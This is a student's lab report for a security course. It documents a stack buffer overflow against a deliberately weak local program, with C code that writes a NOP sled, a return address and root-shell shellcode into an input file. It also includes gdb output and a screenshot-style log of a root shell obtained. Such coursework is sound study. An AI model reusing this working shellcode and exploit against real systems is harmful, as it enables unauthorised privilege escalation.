Assignment3

2016310932 배현웅

1. Overview
   a. First of all, I found the relative address of RET from strcpy by gdb.
   b. Make shell code for attack which allow root privilege.
   c. Between shell code and RET, add no operation code(=0x90) for nop sled.
2. Code

```
1  #include <stdio.h>
2  #include <stdlib.h>
3  #include <string.h>
4  #include <sys/types.h>
5  #include <unistd.h>
6  #include <fcntl.h>
7
8  #define N 160
9  #define offset 10 // 9* sizeof(nop)
10 unsigned char nop[4] = {0x90,0x90,0x90,0x90};
11 unsigned char target[4] = {0x94,0xe8,0xff,0xbf};
12 const unsigned char t[] = {0xb0,0x46,0x31,0xdb,0x31,0xc9,0xcd,0x80,0x68,
13     0x90,0x90,0x90,0x68,0x58,0xc1,0xe8,0x10,0xc1,
14     0xe8,0x08,0x50,0x68,0x2f,0x64,0x61,0x73,0x68,
15     0x2f,0x62,0x69,0x6e,0x89,0xe3,0x31,0xc0,0xb0,
16     0x0b,0xcd,0x80,0xb0,0x01,0xb3,0x01,0xcd,0x80};
```

Line 9 : Prepare relative offset of RET compared to strcpy function, cat_file

Line 11 : target address for code which we want to exploit. (in this case, root shell code)

Line 12 : machine code of shell code which we want to execute

```
17 int main(){
18     int fd = open("input.txt",O_WRONLY | O_CREAT | O_TRUNC,0755);
19     for(int i=1; i<=N; i++){
20         if(i!=offset) write(fd,nop,sizeof(nop));
21         else write(fd,target,sizeof(target));
22     }
23     write(fd,t,sizeof(t));
24     close(fd);
25     return 0;
26 }
```

The input.txt struct is as below

Nop * 9 + target(=which return address written here) + nop* 150 + shell code

```
00000000: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
00000010: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
00000020: 90 90 90 90 94 e8 ff bf 90 90 90 90 90 90 90 90
00000030: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
```

In input.txt, the target address is placed at 0x24 which is relative address of strcpy in cat_file function.

```
   0x8048640 <cat_file+9>:      push   DWORD PTR [ebp+0x8]
=> 0x8048643 <cat_file+12>:     lea    eax,[ebp-0x20]
   0x8048646 <cat_file+15>:     push   eax
   0x8048647 <cat_file+16>:     call   0x80483e0 <strcpy@plt>
   0x804864c <cat_file+21>:     add    esp,0x10
```

- By disas cat_file in gdb, I found relative address.

```
normaluser@hyoungshick-VirtualBox:~/hack$ gdb ./main
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.ht
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./main...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partial
gdb-peda$
```

To check memory protection which applied to this exec file, checksec in gdb

- Execution picture (=result)

```
normaluser@hyoungshick-VirtualBox:~$ ./disable_aslr
[sudo] password for normaluser:
0
normaluser@hyoungshick-VirtualBox:~$ ./c.sh
gcc attack.c
Input filename is nop_input
# whoami
root
# id
uid=0(root) gid=1001(normaluser) groups=1001(normaluser)
#
```

- Extension Goal

Fail - I tried ROP(Return Oriented Programming) which is known to bypass ASLR. However, it need leakage of address such as printf, then calculate address of shell code function by relative address. because the address of execve, system, exit function are determined in runtime. It needs pwntools which allow to find runtime address of dynamic address affected by ASLR. (동적으로 stack 주소가 할당되어서 실행되었을 때, libc.so.6 의 주소, 정확히말하면 execve 라이브러리의 주소를 상대적인 주소로 absolute 주소를 알아내는 방식이었는데, 런타임동안에 가능한 공격이었습니다. 어떤 방식으로 ASLR 을 우회할 수 있는지 궁금합니다.)